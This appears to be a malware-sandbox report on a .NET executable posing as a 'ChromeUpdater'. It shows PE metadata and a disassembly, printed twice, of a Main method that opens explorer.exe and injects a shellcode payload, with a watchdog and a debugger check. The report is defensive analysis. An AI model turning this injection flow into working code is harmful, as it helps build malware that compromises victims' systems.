Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
6ef90729281da2327a73fbe2cd2cfdfa
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WindowsFormsApp1.Properties.Resources.resources
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\Users\jacknours\Desktop\maldev\source\cs\shellcode\1-NoClean\WindowsFormsApp1\obj\Release\WindowsFormsApp1.pdb
Module Name
WindowsFormsApp1.exe
Full Name
WindowsFormsApp1.exe
EntryPoint
System.Void ChromeUpdater.Program::Main(System.String[])
Scope Name
WindowsFormsApp1.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
WindowsFormsApp1
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
8
Main Method
System.Void ChromeUpdater.Program::Main(System.String[])
Main IL Instruction Count
59
Main IL 
call System.Void ChromeUpdater.Program::WindowsUpdate()
ldstr explorer
stloc.0 <null>
call System.Byte[] ChromeUpdater.Program::updating()
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0018: ldc.i4.1
ldloc.1 <null>
ldlen <null>
brtrue.s IL_001E: ldloc.0
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ldloc.0 <null>
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
call System.Diagnostics.Process System.Linq.Enumerable::FirstOrDefault<System.Diagnostics.Process>(System.Collections.Generic.IEnumerable`1<System.Diagnostics.Process>)
stloc.2 <null>
ldloc.2 <null>
brtrue.s IL_0048: ldc.i4 2035711
ldloc.0 <null>
ldstr .exe
call System.String System.String::Concat(System.String,System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
stloc.2 <null>
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 2035711
ldc.i4.0 <null>
ldloc.2 <null>
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.IntPtr ChromeUpdater.Program::OpenProcess(System.UInt32,System.Boolean,System.Int32)
dup <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr)
brfalse.s IL_006C: dup
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
dup <null>
ldloc.1 <null>
call System.IntPtr ChromeUpdater.Program::InjectShellcode(System.IntPtr,System.Byte[])
stloc.3 <null>
ldloc.3 <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr)
brfalse.s IL_0087: ldloc.1
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ldloc.1 <null>
ldloc.3 <null>
call System.Void ChromeUpdater.Program::StartWatchdog(System.IntPtr,System.Byte[],System.IntPtr)
call System.Boolean System.Diagnostics.Debugger::get_IsAttached()
brtrue.s IL_009B: leave.s IL_00A6
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A6: ret
pop <null>
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A6: ret
ret <null>
Module Name
WindowsFormsApp1.exe
Full Name
WindowsFormsApp1.exe
EntryPoint
System.Void ChromeUpdater.Program::Main(System.String[])
Scope Name
WindowsFormsApp1.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
WindowsFormsApp1
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
8
Main Method
System.Void ChromeUpdater.Program::Main(System.String[])
Main IL Instruction Count
59
Main IL 
call System.Void ChromeUpdater.Program::WindowsUpdate()
ldstr explorer
stloc.0 <null>
call System.Byte[] ChromeUpdater.Program::updating()
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0018: ldc.i4.1
ldloc.1 <null>
ldlen <null>
brtrue.s IL_001E: ldloc.0
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ldloc.0 <null>
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
call System.Diagnostics.Process System.Linq.Enumerable::FirstOrDefault<System.Diagnostics.Process>(System.Collections.Generic.IEnumerable`1<System.Diagnostics.Process>)
stloc.2 <null>
ldloc.2 <null>
brtrue.s IL_0048: ldc.i4 2035711
ldloc.0 <null>
ldstr .exe
call System.String System.String::Concat(System.String,System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
stloc.2 <null>
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 2035711
ldc.i4.0 <null>
ldloc.2 <null>
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.IntPtr ChromeUpdater.Program::OpenProcess(System.UInt32,System.Boolean,System.Int32)
dup <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr)
brfalse.s IL_006C: dup
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
dup <null>
ldloc.1 <null>
call System.IntPtr ChromeUpdater.Program::InjectShellcode(System.IntPtr,System.Byte[])
stloc.3 <null>
ldloc.3 <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr)
brfalse.s IL_0087: ldloc.1
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ldloc.1 <null>
ldloc.3 <null>
call System.Void ChromeUpdater.Program::StartWatchdog(System.IntPtr,System.Byte[],System.IntPtr)
call System.Boolean System.Diagnostics.Debugger::get_IsAttached()
brtrue.s IL_009B: leave.s IL_00A6
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A6: ret
pop <null>
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A6: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙